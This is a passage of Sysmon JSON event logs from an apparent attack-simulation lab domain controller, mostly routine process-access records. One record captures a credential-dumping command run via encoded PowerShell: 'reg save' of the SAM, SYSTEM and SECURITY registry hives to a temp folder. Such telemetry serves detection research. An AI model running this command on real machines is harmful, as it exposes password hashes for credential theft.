C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5307,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5308,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.588\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nTargetProcessId: 4108\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.588","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","TargetProcessId":"4108","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:31.588\r\nProcessGuid: {90617006-416F-5F2D-0000-0010C8440800}\r\nProcessId: 1516\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.dll\r\nCreationUtcTime: 2020-08-07 11:56:31.525","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:31.588","ProcessGuid":"{90617006-416F-5F2D-0000-0010C8440800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\qzd2uigm\\qzd2uigm.dll","CreationUtcTime":"2020-08-07 11:56:31.525","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.050\r\nProcessGuid: {90617006-4170-5F2D-0000-0010DC490800}\r\nProcessId: 4788\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: \"C:\\Windows\\system32\\cmd.exe\" /c \"reg save HKLM\\sam %%temp%%\\sam & reg save HKLM\\system %%temp%%\\system & reg save HKLM\\security %%temp%%\\security\" \r\nCurrentDirectory: C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nParentProcessId: 4384\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.050","ProcessGuid":"{90617006-4170-5F2D-0000-0010DC490800}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"\"C:\\Windows\\system32\\cmd.exe\" /c \"reg save HKLM\\sam %%temp%%\\sam & reg save HKLM\\system %%temp%%\\system & reg save HKLM\\security %%temp%%\\security\" ","CurrentDirectory":"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","ParentProcessId":"4384","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","EventReceivedTime":"2020-08-07 11:56:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.041\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010DC490800}\r\nTargetProcessId: 4788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+3b4a0f06(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be835cf(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\S